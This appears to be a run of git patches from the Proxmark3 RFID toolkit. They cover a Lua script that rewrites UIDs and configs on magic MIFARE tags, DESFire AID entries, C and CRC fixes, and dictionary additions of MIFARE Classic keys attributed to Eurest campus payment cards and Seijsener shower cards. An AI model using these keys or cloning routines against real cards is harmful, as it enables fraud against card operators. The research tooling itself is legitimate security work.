oops("Block is above 63") return 1 end end if targetblk then if tonumber(targetblk)>63 then oops("Block is above 63") return 1 end end @@ -267,33 +299,42 @@ function main(args) -- 3. Form data to write -- 4. Issue commands if wipe == true then - print(ansicolors.red.."[/]"..ansicolors.reset.." Wipe issued! Nullifying other arguments!") - print(ansicolors.red.."[-]"..ansicolors.reset.." DO NOT REMOVE YOUR TAG!") + + print(cl.red.."[/]"..cl.reset.." Wipe issued! Nullifying other arguments!") + print(cl.red.."[-]"..cl.reset.." DO NOT REMOVE YOUR TAG!") + uid = nil signature = nil configwrite = nil + wakeupmagic(writetype) if sendRaw("F000", true) ~= "0A" then oops("DANGER! Tag did not ACK wipe command. The field has NOT been reset.") print("[ ] If you think the wipe succeeded, immediately do this:") print("hf 14a raw -kc E100; hf 14a raw -c 7AFF0000000000000000000000000008") - return 1 end + return 1 + end + writeconf(utils.ConvertHexToBytes("7AFF0000000000000000005A00000008")) + sendRaw("F800", true) -- here you only wipe the backdoor blocks and they're not super critical so might as well not check. sendRaw("A000", true) -- By this point I just rely on the tag. sendRaw("DE7715B8040804000000000000000000", true) - for i =0,15 do + + for i =0, 15 do blk=string.format("%02x", 4*i+3):gsub("0x","") sendRaw("A0"..blk, true) - sendRaw("FFFFFFFFFFFFFF078069FFFFFFFFFFFF",true) - sendRaw("A8"..blk,true) - sendRaw("FFFFFFFFFFFFFF078069FFFFFFFFFFFF",true) + sendRaw("FFFFFFFFFFFFFF078069FFFFFFFFFFFF", true) + sendRaw("A8"..blk, true) + sendRaw("FFFFFFFFFFFFFF078069FFFFFFFFFFFF", true) end + sendRaw("A807", true) - sendRaw("75CCB59C9BED70F0F8694B791BEA7BCC",true) - print(ansicolors.yellow.."[-]"..ansicolors.reset.." Wipe completed successfully") + sendRaw("75CCB59C9BED70F0F8694B791BEA7BCC", true) + print(cl.yellow.."[-]"..cl.reset.." Wipe completed successfully") lib14a.disconnect() end + -- Separator if targetblk or targetbblk or targetsec or targetbsec then uid = nil @@ -301,18 +342,51 @@ function main(args) configwrite = nil wakeupmagic(writetype) print("") + if targetblk or targetsec then - if targetblk then data = sendRaw("30"..string.format("%02x", targetblk), false) end - if targetblk then SectorHeader(targetblk/4) else SectorHeader(targetsec) end - if targetblk then BlockParser(data, targetblk) else for i=0,3 do BlockParser(sendRaw("30"..string.format("%02x", targetsec*4+i), true), targetsec*4+i) end end + if targetblk then + data = sendRaw("30"..string.format("%02x", targetblk), false) + end + + if targetblk then + -- floor division... + SectorHeader(targetblk // 4) + else + SectorHeader(targetsec) + end + + if targetblk then + BlockParser(data, targetblk) + else + for i=0, 3 do + BlockParser(sendRaw("30"..string.format("%02x", targetsec * 4 + i), true), targetsec * 4 + i) + end + end + elseif targetbblk or targetbsec then - if targetbblk then data=sendRaw("38"..string.format("%02x", targetbblk), false) end - if targetbblk then SectorHeader(targetbblk/4) else SectorHeader(targetbsec) end - if targetbblk then BlockParser(data, targetbblk) else for i=0,3 do BlockParser(sendRaw("38"..string.format("%02x", targetbsec*4+i), true), targetbsec*4+i) end end + if targetbblk then + data = sendRaw("38"..string.format("%02x", targetbblk), false) + end + + if targetbblk then + -- floor division + SectorHeader(targetbblk // 4) + else + SectorHeader(targetbsec) + end + + if targetbblk then + BlockParser(data, targetbblk) + else + for i =0, 3 do + BlockParser(sendRaw("38"..string.format("%02x", targetbsec * 4 + i), true), targetbsec * 4 + i) + end + end -- Actually is there an sprintf_hex in lua? end - lib14a.disconnect() + lib14a.disconnect() end + -- Separator if uid then if writetype == "2" or writetype == "4" then @@ -325,72 +399,101 @@ function main(args) payload = payload .. "04000000000000000000" elseif string.len(uid) == 14 then -- Same logic, but with raw anticollision data because that's what the tag accepts. :P - payload = calculate_block0("88"..string.sub(uid,1,6)) + payload = calculate_block0("88"..string.sub(uid, 1, 6)) payload = payload .. "04" - payload = payload .. calculate_block0(string.sub(uid,7,14)) + payload = payload .. calculate_block0(string.sub(uid, 7, 14)) payload = payload .. "08" payload = payload .. "00000000" end end + core.clearCommandBuffer() -- Now, let's write! 1. We wake up the tag in magic mode. -- 2. We will deal with the "easier" 7 byte UID stuff - if uid then if string.len(uid) == 14 then + wakeupmagic(writetype) - if f3perso == true then print("[?] WARNING: F3 perso write is set, but 7 byte UID is passed. Ignoring -3 argument") end + if f3perso == true then + print("[?] WARNING: F3 perso write is set, but 7 byte UID is passed. Ignoring -3 argument") + end + local configdata = readconf() + if configdata[10] ~= 0x5A and configdata[10] ~= 0xC3 and configdata[10] ~= 0xA5 then -- Enable CL2 mode if necessary print("[?] WARNING: Tag is not in 7 byte UID mode. Automatically updating to F0 unfused") - print(ansicolors.yellow.."[-]".. ansicolors.reset .." This is because the configuration byte responsible for CL2 was not found to be equal to 0x5A, 0xC3 or 0xA5, but rather: ".. string.format("%02x", configdata[10])) - print(ansicolors.yellow.."[\\]".. ansicolors.reset .." The old config is: ".. utils.ConvertBytesToHex(configdata)) - configdata[10]=0x5A + print(cl.yellow.."[-]".. cl.reset .." This is because the configuration byte responsible for CL2 was not found to be equal to 0x5A, 0xC3 or 0xA5, but rather: ".. string.format("%02x", configdata[10])) + print(cl.yellow.."[\\]".. cl.reset .." The old config is: ".. utils.ConvertBytesToHex(configdata)) + configdata[10] = 0x5A writeconf(configdata) end + if sendRaw("A800", true) ~= "0A" then oops("Tag did not ACK `A800` command!") lib14a.disconnect() - return 1 end + return 1 + end + print("[?] WARNING: nUID should be updated with this value:") - print(makenuid(uid)) - print(ansicolors.yellow.."[/]".. ansicolors.reset .." Use `--f3d` to update nUID for Perso F3 only.") - if sendRaw(payload, true) ~= "0A" then - oops("Tag did not ACK data to write!") - lib14a.disconnect() - return 1 end - print(ansicolors.yellow.."[-]".. ansicolors.reset .." Updating real block 0") - if sendRaw("A000", true) ~= "0A" then - oops("Tag did not ACK `A000` command!") - lib14a.disconnect() - return 1 end - if sendRaw(cltwo_block0(uid), false) ~="0A" then oops("Tag did not ACK data to write!") end - -- Now, let's work with 4 byte UIDs. - elseif string.len(uid)==8 then - wakeupmagic(writetype) - local configdata = readconf() - if configdata[10] == 0x69 or f3perso == true then -- If we have Perso: F3, then write backdoor blk 1 - if f3perso == true then print ("[?] WARNING: F3 flag enabled. Updating UID used for F3 perso") end - if sendRaw("A801", true) ~= "0A" then + print(makenuid(uid)) + print(cl.yellow.."[/]".. cl.reset .." Use `--f3d` to update nUID for Perso F3 only.") + + if sendRaw(payload, true) ~= "0A" then + oops("Tag did not ACK data to write!") + lib14a.disconnect() + return 1 + end + + print(cl.yellow.."[-]".. cl.reset .." Updating real block 0") + if sendRaw("A000", true) ~= "0A" then + oops("Tag did not ACK `A000` command!") + lib14a.disconnect() + return 1 + end + + if sendRaw(cltwo_block0(uid), false) ~="0A" then + oops("Tag did not ACK data to write!") + end + + -- Now, let's work with 4 byte UIDs. + elseif string.len(uid) == 8 then + + wakeupmagic(writetype) + local configdata = readconf() + + if configdata[10] == 0x69 or f3perso == true then -- If we have Perso: F3, then write backdoor blk 1 + + if f3perso == true then + print ("[?] WARNING: F3 flag enabled. Updating UID used for F3 perso") + end + + if sendRaw("A801", true) ~= "0A" then oops("Tag did not ACK `A801` command!") lib14a.disconnect() - return 1 end + return 1 + end + else -- Otherwise write real block 0. if configdata[10] == 0x5a or configdata[10] == 0xc3 or configdata[10] == 0xa5 then -- Disable CL2 if necessary print("[?] WARNING: Tag is not in 4 byte UID mode. Automatically disabling") - print(ansicolors.yellow.."[-]".. ansicolors.reset .." This is because the configuration byte responsible for CL2 was found to be equal to: ".. string.format("%02x", configdata[10])) - print(ansicolors.yellow.."[\\]".. ansicolors.reset .." The old config is: ".. utils.ConvertBytesToHex(configdata)) - configdata[10]=0x00 + print(cl.yellow.."[-]".. cl.reset .." This is because the configuration byte responsible for CL2 was found to be equal to: ".. string.format("%02x", configdata[10])) + print(cl.yellow.."[\\]".. cl.reset .." The old config is: ".. utils.ConvertBytesToHex(configdata)) + configdata[10] = 0x00 writeconf(configdata) end + if sendRaw("A000", true) ~= "0A" then oops("Tag did not ACK `A000` command!") lib14a.disconnect() - return 1 end + return 1 + end end - if sendRaw(payload, false) ~= "0A" then oops("Tag did not ACK data to write!") end + + if sendRaw(payload, false) ~= "0A" then + oops("Tag did not ACK data to write!") end end end + -- Separator if signature then wakeupmagic(writetype) @@ -400,35 +503,49 @@ function main(args) configdata[14] = 0x5A writeconf(configdata) end + if sendRaw("A805", true) ~= "0A" then oops("Tag did not ACK `A805` command!") lib14a.disconnect() - return 1 end + return 1 + end + if sendRaw(string.sub(signature,1,32), true) ~= "0A" then oops("Tag did not ACK data 1 to write!") lib14a.disconnect() - return 1 end + return 1 + end + if sendRaw("A806", true) ~= "0A" then oops("Tag did not ACK `A806` command!") lib14a.disconnect() - return 1 end + return 1 + end + if sendRaw(string.sub(signature,33,64), false) ~= "0A" then - oops("Tag did not ACK data 2 to write!") + oops("Tag did not ACK data 2 to write!") lib14a.disconnect() - return 1 end + return 1 + end end + if configwrite then - print(ansicolors.yellow.."[|]"..ansicolors.reset.." Welcome to ConfigStar!") + + print(cl.yellow.."[|]"..cl.reset.." Welcome to ConfigStar!") wakeupmagic(writetype) - config=readconf() + config = readconf() + if (gen1 == false and magicauth == false) or ((config[1]==0x85 and config[2] == 0x00) and magicauth==false) or ((config[12]==0x00) and gen1 == false) then - oops("What you are about to do is potentially dangerous. \n If you really want to continue (potentially leaving your tag in an unusable state), enter this line as given, without quotation marks:\n \"Yes, do as I say!\"") - local ans=io.read() - if ans ~="Yes, do as I say!" then + oops("What you are about to do is potentially dangerous. \nIf you really want to continue (potentially leaving your tag in an unusable state), enter this line as given, without quotation marks:\n \"yes\"") + local ans = io.read() + if ans ~="yes" then lib14a.disconnect() return 1 - else print(ansicolors.red.."[/]"..ansicolors.reset.." Brace yourself.") end + else + print(cl.red.."[/]"..cl.reset.." Brace yourself.") end + + end -- Baby oh baby -- Prepare for disappointment if gen1 == true then @@ -438,49 +555,60 @@ function main(args) config[1] = 0x85 config[2] = 0x00 end + if gen1com == true then config[3] = 0x85 elseif gen1com == false then config[3] = 0x00 end + if keyblock == true then config[7] = 0x5A elseif keyblock == false then config[7] = 0x00 end + if cuid == true then config[8] = 0x5A elseif cuid == false then config[8] = 0x00 end + if cl2mode == true then config[10] = 0x5A elseif cl2mode == false then config[10] = 0x00 end + if shadowmode == true then config[11] = 0x5A elseif shadowmode == false then config[11] = 0x00 end + if magicauth == true then config[12] = 0x5A elseif magicauth == false then config[12] = 0x00 end + if statenc == true then config[13] = 0x5A elseif statenc == false then config[13] = 0x00 end + if sigsec == true then config[14] = 0x5A elseif sigsec == false then config[14] = 0x00 end + writeconf(config) - print(ansicolors.yellow.."[\\]"..ansicolors.reset.." Completed!") + print(cl.yellow.."[\\]"..cl.reset.." Completed!") lib14a.disconnect() end + end + main(args) From 5867026b14f978df05f94eddb5b030b809ae9cbf Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Mon, 28 Oct 2024 03:39:48 +0100 Subject: [PATCH 031/155] text and minor fix --- client/luascripts/hf_mf_uscuid_prog.lua | 60 +++++++++++++++---------- 1 file changed, 37 insertions(+), 23 deletions(-) diff --git a/client/luascripts/hf_mf_uscuid_prog.lua b/client/luascripts/hf_mf_uscuid_prog.lua index f98ae601e..26491bbeb 100644 --- a/client/luascripts/hf_mf_uscuid_prog.lua +++ b/client/luascripts/hf_mf_uscuid_prog.lua @@ -36,37 +36,46 @@ Set the first 2 bytes of your config to 7AFF and use -t 4. example = [[ -- Set UID 7 bytes long via 20-23 wakeup 1. script run hf_mf_uscuid_prog -t 2 -u 04A72B85489F51 + -- Set UID 4 bytes long via 40-43 wakeup 2. script run hf_mf_uscuid_prog -t 4 -u A72B571 + -- Read sector 0 + 3. script run hf_mf_uscuid_prog -S 0 ]] usage = [[ -script run hf_mf_uscuid_uid_prog [-h] [-u ] [-t] [-3] [-s ] [-w 1] [-R/-B ] [-S/-E ] [-g/-c/-b/-2/-7/-d/-a/-n/-r <0/1>] +script run hf_mf_uscuid_uid_prog [-h] [-u ] [-t] [-3] [-s ] [-w 1] [-R -B ] [-S -E ] [-g -c -b -2 -7 -d -a -n -r <0/1>] ]] arguments = [[ -h this help -t Magic wakeup type (2 for 0x20, 4 for 0x40) -u New tag UID -s New signature data + -3 Update UID for F3 Perso -w 1 Wipe tag (take caution!) - -R Read block + -B Read backdoor block - -S Read sector -E Read backdoor sector + -R Read block + -S Read sector [ConfigStar] - To enable an option, pass "1". To disable, pass "0". Unmarked data will not be edited. + Unmarked data will not be edited. + + How to use: + To ENABLE an option, pass "1" + To DISABLE an option, pass "0" - -g Gen1 mode - -c Gen1 command (1 for 20-23; 0 for 40-43) - -b Block key B if readable by ACL - -2 Gen2/CUID mode - -7 CL2 mode (1 for F0 unfused; 0 for off) - -d Shadow mode -a Magic auth + -b Block key B if readable by ACL + -c Gen1 command (1 for 20-23; 0 for 40-43) + -d Shadow mode + -g Gen1 mode -n Static encrypted nonces -r Signature sector + -2 Gen2/CUID mode + -7 CL2 mode (1 for F0 unfused; 0 for off) ]] changelog = [[ @@ -144,7 +153,9 @@ local function calculate_block0(useruid) local uidbytes = utils.ConvertHexToBytes(useruid) local i = 1 local bcc = bxor(uidbytes[i], uidbytes[i+1]); - local length = #useruid / 2; + + -- floor division + local length = #useruid // 2; -- bcc for i = 3, length, 1 do @@ -207,11 +218,13 @@ end local function readconf() configbuffer = sendRaw("E000", true) if string.len(configbuffer) ~= 36 then - oops("Tag sent wrong length of config!") - lib14a.disconnect() - return 1 end - return utils.ConvertHexToBytes(string.sub(configbuffer,1,32)) + oops("Tag sent wrong length of config!") + lib14a.disconnect() + return 1 + end + return utils.ConvertHexToBytes(string.sub(configbuffer, 1, 32)) end + local function writeconf(configbuffer) configbuffer=utils.ConvertBytesToHex(configbuffer) print(cl.yellow.."[|]".. cl.reset .." The new config is: "..configbuffer) @@ -221,10 +234,12 @@ local function writeconf(configbuffer) else oops("Tag did not ACK config update!") lib14a.disconnect() - return 1 end + return 1 + end else oops("Tag did not ACK `E100` command!") lib14a.disconnect() - return 1 end + return 1 + end end -- End config functions @@ -288,10 +303,10 @@ function main(args) configwrite = true end - if targetbblk then if tonumber(targetbblk)>63 then oops("Block is above 63") return 1 end end - if targetblk then if tonumber(targetblk)>63 then oops("Block is above 63") return 1 end end - if targetsec then if tonumber(targetsec)>15 then oops("Sector is above 15") return 1 end end - if targetbsec then if tonumber(targetbsec)>15 then oops("Sector is above 15") return 1 end end + if targetbblk then if tonumber(targetbblk) > 63 then oops("Block is above 63") return 1 end end + if targetblk then if tonumber(targetblk) > 63 then oops("Block is above 63") return 1 end end + if targetsec then if tonumber(targetsec) > 15 then oops("Sector is above 15") return 1 end end + if targetbsec then if tonumber(targetbsec) > 15 then oops("Sector is above 15") return 1 end end -- -- Alright, here's the logic. -- 1. Set the write type (0x20, 0x40, 8000 auth, etc...) @@ -322,7 +337,7 @@ function main(args) sendRaw("DE7715B8040804000000000000000000", true) for i =0, 15 do - blk=string.format("%02x", 4*i+3):gsub("0x","") + blk=string.format("%02x", 4 * i + 3):gsub("0x","") sendRaw("A0"..blk, true) sendRaw("FFFFFFFFFFFFFF078069FFFFFFFFFFFF", true) sendRaw("A8"..blk, true) @@ -608,7 +623,6 @@ function main(args) print(cl.yellow.."[\\]"..cl.reset.." Completed!") lib14a.disconnect() end - end main(args) From f0815ef3a74a3339e161be53be432b60a096bd88 Mon Sep 17 00:00:00 2001 From: ry4000 <154689120+ry4000@users.noreply.github.com> Date: Mon, 28 Oct 2024 18:13:12 +1100 Subject: [PATCH 032/155] R&Y: Added Various Student AIDs to aid_desfire.json - Various Student AIDs added from various Servers with the help of their respective Members. - Missing information will be added where possible as a future commit. -R&Y. Signed-off-by: ry4000 <154689120+ry4000@users.noreply.github.com> --- client/resources/aid_desfire.json | 64 +++++++++++++++++++++++++++++++ 1 file changed, 64 insertions(+) diff --git a/client/resources/aid_desfire.json b/client/resources/aid_desfire.json index e5374f217..8cfc37b5b 100644 --- a/client/resources/aid_desfire.json +++ b/client/resources/aid_desfire.json @@ -415,6 +415,30 @@ "Description": "", "Type": "alarm system" }, + { + "AID": "010010" + "Vendor": "ASSA ABLOY", + "Country": "GB", + "Name": "Campus Card", + "Description": "Campus Card", + "Type": "student" + }, + { + "AID": "030020" + "Vendor": "Algonquin College of Applied Arts and Technology", + "Country": "CA", + "Name": "Campus Card", + "Description": "Campus Card", + "Type": "student" + }, + { + "AID": "050030" + "Vendor": "Algonquin College of Applied Arts and Technology", + "Country": "CA", + "Name": "Campus Card", + "Description": "Campus Card", + "Type": "student" + }, { "AID": "05845F", "Vendor": "InterCard GmbH Kartensysteme", @@ -423,6 +447,14 @@ "Description": "Campus Card", "Type": "student" }, + { + "AID": "070090" + "Vendor": "Algonquin College of Applied Arts and Technology", + "Country": "CA", + "Name": "Campus Card", + "Description": "Campus Card", + "Type": "student" + }, { "AID": "15845F", "Vendor": "InterCard GmbH Kartensysteme", @@ -639,6 +671,38 @@ "Description": "Campus Card", "Type": "student" }, + { + "AID": "CA1827" + "Vendor": "Transact Campus Inc.", + "Country": "US", + "Name": "Transact Campus ID [Custom AID]", + "Description": "Campus Card", + "Type": "student" + }, + { + "AID": "EEE010" + "Vendor": "ASSA ABLOY", + "Country": "GB", + "Name": "Campus Card", + "Description": "Campus Card", + "Type": "student" + }, + { + "AID": "F33480" + "Vendor": "Besucherausweis", + "Country": "DE", + "Name": "Visitor's Pass", + "Description": "Besucherausweis", + "Type": "student" + }, + { + "AID": "F482D0" + "Vendor": "Besucherausweis", + "Country": "DE", + "Name": "Visitor's Pass", + "Description": "Besucherausweis", + "Type": "student" + }, { "AID": "F48EF1", "Vendor": "TU Delft", From 923e7dced9f9f607d3d55e02863ae0d767492dd7 Mon Sep 17 00:00:00 2001 From: douniwan5788 Date: Mon, 28 Oct 2024 16:04:44 +0800 Subject: [PATCH 033/155] fix: concatbits erase out-of-bound --- common/commonutil.c | 28 ++++++++++++++++++---------- common/commonutil.h | 2 +- 2 files changed, 19 insertions(+), 11 deletions(-) diff --git a/common/commonutil.c b/common/commonutil.c index 495097aee..15c79d248 100644 --- a/common/commonutil.c +++ b/common/commonutil.c @@ -544,18 +544,26 @@ void reverse_arraybytes_copy(uint8_t *arr, uint8_t *dest, size_t len) { } } -// TODO: consider overlap, Implement _membitmovebb -size_t concatbits(uint8_t *dst, size_t dstskip, const uint8_t *src, size_t srcstart, size_t srclen) { - // erase dstbuf bits that will be overriden - dst[dstskip / 8] &= 0xFF - ((1 << (7 - (dstskip % 8) + 1)) - 1); - for (size_t i = (dstskip / 8) + 1; i <= (dstskip + srclen) / 8; i++) { - dst[i] = 0; +// TODO: Boost performance by copying in chunks of 1, 2, or 4 bytes when feasible. +size_t concatbits(uint8_t *dest, int dest_offset, const uint8_t *src, int src_offset, size_t nbits) { + int i, end, step; + + // overlap + if ((src - dest) * 8 + src_offset - dest_offset > 0) { + i = 0; + end = nbits; + step = 1; + } else { + i = nbits; + end = 0; + step = -1; } - for (size_t i = 0; i < srclen; i++) { - // equiv of dstbufbits[dstbufskip + i] = srcbufbits[srcbufstart + i] - dst[(dstskip + i) / 8] |= ((src[(srcstart + i) / 8] >> (7 - ((srcstart + i) % 8))) & 1) << (7 - ((dstskip + i) % 8)); + for (; i != end; i += step) { + // equiv of dest_bits[dest_offset + i] = src_bits[src_offset + i] + CLEAR_BIT(dest, dest_offset + i); + if (TEST_BIT(src, src_offset + i)) SET_BIT(dest, dest_offset + i); } - return dstskip + srclen; + return dest_offset + nbits; } diff --git a/common/commonutil.h b/common/commonutil.h index a3476a284..b2d560f3d 100644 --- a/common/commonutil.h +++ b/common/commonutil.h @@ -135,5 +135,5 @@ bool hexstr_to_byte_array(const char *hexstr, uint8_t *d, size_t *n); void reverse_arraybytes(uint8_t *arr, size_t len); void reverse_arraybytes_copy(uint8_t *arr, uint8_t *dest, size_t len); -size_t concatbits(uint8_t *dst, size_t dstskip, const uint8_t *src, size_t srcstart, size_t srclen); +size_t concatbits(uint8_t *dest, int dest_offset, const uint8_t *src, int src_offset, size_t nbits); #endif From 064b4897f21d86ddf7592761a9b6d77f0d53bf44 Mon Sep 17 00:00:00 2001 From: stuiterveer Date: Mon, 28 Oct 2024 17:43:35 +0100 Subject: [PATCH 034/155] Add key used by Eurest --- client/dictionaries/mfc_default_keys.dic | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/client/dictionaries/mfc_default_keys.dic b/client/dictionaries/mfc_default_keys.dic index ae14be206..bc062d13b 100644 --- a/client/dictionaries/mfc_default_keys.dic +++ b/client/dictionaries/mfc_default_keys.dic @@ -2674,4 +2674,7 @@ CE7FCCBBA5D8 F8E385E5A2A0 B27678B5C4AE D68D7EBB9551 -7AB63F082328 \ No newline at end of file +7AB63F082328 +# +# Payment cards used by Eurest on certain campuses +7E2BC58168EB From 4ca4af16e31a571080f35afd23db835b5826a2fe Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Mon, 28 Oct 2024 20:14:33 +0100 Subject: [PATCH 035/155] fixed the crc annotations for iclass list. They were a bit too positive --- CHANGELOG.md | 1 + client/src/cmdhflist.c | 4 ++-- 2 files changed, 3 insertions(+), 2 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 64e6eb500..4cb3f8449 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -3,6 +3,7 @@ All notable changes to this project will be documented in this file. This project uses the changelog in accordance with [keepchangelog](http://keepachangelog.com/). Please use this to write notable changes, which is not the same as git commit log... ## [unreleased][unreleased] +- Fixed `hf iclass list` - annotation crc handled better (@iceman1001) - Fixed `hf_mf_uscuid_prog.lua` - bad divisions and code style fixes (@iceman1001) - Changed `hf iclass info` - now checks for cards silicon version (@antiklesys) - Changed `hf iclass legrec` - updated script implementation to ensure functionality (@antiklesys) diff --git a/client/src/cmdhflist.c b/client/src/cmdhflist.c index aa83bc20b..f9016a29a 100644 --- a/client/src/cmdhflist.c +++ b/client/src/cmdhflist.c @@ -131,7 +131,7 @@ uint8_t iclass_CRC_check(bool isResponse, uint8_t *d, uint8_t n) { //Commands to tag //Don't include the command byte - if (!isResponse) { + if (isResponse == false) { /** These commands should have CRC. Total length leftmost 4 READ @@ -167,7 +167,7 @@ uint8_t iclass_CRC_check(bool isResponse, uint8_t *d, uint8_t n) { In conclusion, without looking at the command; any response of length 10 or 34 should have CRC **/ - if (n != 10 && n != 34) return true; + if (n != 10 && n != 34) return 2; return check_crc(CRC_ICLASS, d, n); } From fe9819e9e57bdb9f051eb8c2b12f718268db510d Mon Sep 17 00:00:00 2001 From: Antonin Deniau Date: Tue, 29 Oct 2024 11:33:26 +0100 Subject: [PATCH 036/155] Fix missing comma in aid_desfire.json Signed-off-by: Antonin Deniau --- client/resources/aid_desfire.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/client/resources/aid_desfire.json b/client/resources/aid_desfire.json index 8cfc37b5b..db2d32d05 100644 --- a/client/resources/aid_desfire.json +++ b/client/resources/aid_desfire.json @@ -416,7 +416,7 @@ "Type": "alarm system" }, { - "AID": "010010" + "AID": "010010", "Vendor": "ASSA ABLOY", "Country": "GB", "Name": "Campus Card", From 8f0c84300f8eb50b438a254045d57c5ed96fc494 Mon Sep 17 00:00:00 2001 From: Antonin Deniau Date: Tue, 29 Oct 2024 10:40:30 +0000 Subject: [PATCH 037/155] Handle other typo --- client/resources/aid_desfire.json | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) diff --git a/client/resources/aid_desfire.json b/client/resources/aid_desfire.json index db2d32d05..bde04bd92 100644 --- a/client/resources/aid_desfire.json +++ b/client/resources/aid_desfire.json @@ -424,7 +424,7 @@ "Type": "student" }, { - "AID": "030020" + "AID": "030020", "Vendor": "Algonquin College of Applied Arts and Technology", "Country": "CA", "Name": "Campus Card", @@ -432,7 +432,7 @@ "Type": "student" }, { - "AID": "050030" + "AID": "050030", "Vendor": "Algonquin College of Applied Arts and Technology", "Country": "CA", "Name": "Campus Card", @@ -448,7 +448,7 @@ "Type": "student" }, { - "AID": "070090" + "AID": "070090", "Vendor": "Algonquin College of Applied Arts and Technology", "Country": "CA", "Name": "Campus Card", @@ -672,7 +672,7 @@ "Type": "student" }, { - "AID": "CA1827" + "AID": "CA1827", "Vendor": "Transact Campus Inc.", "Country": "US", "Name": "Transact Campus ID [Custom AID]", @@ -680,7 +680,7 @@ "Type": "student" }, { - "AID": "EEE010" + "AID": "EEE010", "Vendor": "ASSA ABLOY", "Country": "GB", "Name": "Campus Card", @@ -688,7 +688,7 @@ "Type": "student" }, { - "AID": "F33480" + "AID": "F33480", "Vendor": "Besucherausweis", "Country": "DE", "Name": "Visitor's Pass", @@ -696,7 +696,7 @@ "Type": "student" }, { - "AID": "F482D0" + "AID": "F482D0", "Vendor": "Besucherausweis", "Country": "DE", "Name": "Visitor's Pass", @@ -1207,4 +1207,4 @@ "Description": "Used by AKL AT HOP, DXB nol, and SEA ORCA", "Type": "transport" } -] +] \ No newline at end of file From a24c051a28114ccf5da28c114b12348129fb07ba Mon Sep 17 00:00:00 2001 From: stuiterveer Date: Tue, 29 Oct 2024 14:13:47 +0100 Subject: [PATCH 038/155] Add shower card keys used by Seijsener --- client/dictionaries/mfc_default_keys.dic | 14 ++++++++++++++ 1 file changed, 14 insertions(+) diff --git a/client/dictionaries/mfc_default_keys.dic b/client/dictionaries/mfc_default_keys.dic index bc062d13b..4879859d6 100644 --- a/client/dictionaries/mfc_default_keys.dic +++ b/client/dictionaries/mfc_default_keys.dic @@ -2678,3 +2678,17 @@ D68D7EBB9551 # # Payment cards used by Eurest on certain campuses 7E2BC58168EB +# +# Shower cards provided by Seijsener +291A65CBEA7B +344A359BBAD9 +476572726974 +4D696368656C +4F3748E6C826 +69D40AF8B353 +72DEA10F21DF +74845AA8E3F1 +8C3C43EDCC55 +ACD30DFFB434 +D1A27C8EC5DF +F14D329CBDBE From de96479d800c99eb04ae490c0fe0044fa8f2152f Mon Sep 17 00:00:00 2001 From: Philippe Teuwen Date: Tue, 29 Oct 2024 21:12:20 +0100 Subject: [PATCH 039/155] pm3_console() in Python/Lua/C: replace passthru by capture and quiet --- CHANGELOG.md | 1 + .../01make_client_cmake.sh | 1 + .../01make_client_makefile.sh | 8 +- .../testembedded.lua | 2 +- .../testembedded.py | 2 +- client/experimental_lib/example_c/test.c | 2 +- client/experimental_lib/example_c/test_grab.c | 2 +- client/experimental_lib/example_lua/test.lua | 2 +- client/experimental_lib/example_py/test.py | 2 +- client/include/pm3.h | 2 +- client/pyscripts/fm11rf08s_recovery.py | 2 +- client/pyscripts/pm3.py | 4 +- client/src/pm3.c | 6 +- client/src/pm3.i | 9 +- client/src/pm3_luawrap.c | 3655 +++++++------ client/src/pm3_pywrap.c | 4834 +++++++++-------- 16 files changed, 4341 insertions(+), 4193 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 4cb3f8449..bf1cb7cfe 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -3,6 +3,7 @@ All notable changes to this project will be documented in this file. This project uses the changelog in accordance with [keepchangelog](http://keepachangelog.com/). Please use this to write notable changes, which is not the same as git commit log... ## [unreleased][unreleased] +- Changed `pm3_console()` - Python/Lua/C: replace `passthru` by `capture` and `quiet` (@doegox) - Fixed `hf iclass list` - annotation crc handled better (@iceman1001) - Fixed `hf_mf_uscuid_prog.lua` - bad divisions and code style fixes (@iceman1001) - Changed `hf iclass info` - now checks for cards silicon version (@antiklesys) diff --git a/client/experimental_client_with_swig/01make_client_cmake.sh b/client/experimental_client_with_swig/01make_client_cmake.sh index 456227a7a..e85171d00 100755 --- a/client/experimental_client_with_swig/01make_client_cmake.sh +++ b/client/experimental_client_with_swig/01make_client_cmake.sh @@ -13,3 +13,4 @@ ln -s build/proxmark3 . ) ln -s ../pyscripts/pm3.py +ln -s ../lualibs/dkjson.lua diff --git a/client/experimental_client_with_swig/01make_client_makefile.sh b/client/experimental_client_with_swig/01make_client_makefile.sh index 93ab04ca2..0ebb2953f 100755 --- a/client/experimental_client_with_swig/01make_client_makefile.sh +++ b/client/experimental_client_with_swig/01make_client_makefile.sh @@ -1,4 +1,8 @@ #!/bin/bash -cd .. -make -j +( + cd .. + make -j +) +ln -s ../pyscripts/pm3.py +ln -s ../lualibs/dkjson.lua diff --git a/client/experimental_client_with_swig/testembedded.lua b/client/experimental_client_with_swig/testembedded.lua index 5ed3a8ac0..4857a5372 100755 --- a/client/experimental_client_with_swig/testembedded.lua +++ b/client/experimental_client_with_swig/testembedded.lua @@ -10,7 +10,7 @@ for line in p.grabbed_output:gmatch("[^\r\n]+") do end print("Device:", p.name) -p:console("Rem passthru remark! :coffee:", true) +p:console("Rem passthru remark! :coffee:", false, false) local json = require("dkjson") print("Fetching prefs:") diff --git a/client/experimental_client_with_swig/testembedded.py b/client/experimental_client_with_swig/testembedded.py index 6bf5331bf..78564a314 100755 --- a/client/experimental_client_with_swig/testembedded.py +++ b/client/experimental_client_with_swig/testembedded.py @@ -11,7 +11,7 @@ for line in p.grabbed_output.split('\n'): if "uC:" in line: print(line) print("Device:", p.name) -p.console("Rem passthru remark! :coffee:", True) +p.console("Rem passthru remark! :coffee:", capture=False, quiet=False) import json print("Fetching prefs:") diff --git a/client/experimental_lib/example_c/test.c b/client/experimental_lib/example_c/test.c index bd1900154..6debb332c 100644 --- a/client/experimental_lib/example_c/test.c +++ b/client/experimental_lib/example_c/test.c @@ -9,6 +9,6 @@ int main(int argc, char *argv[]) { } pm3 *p; p = pm3_open(argv[1]); - pm3_console(p, "hw status", true); + pm3_console(p, "hw status", false, false); pm3_close(p); } diff --git 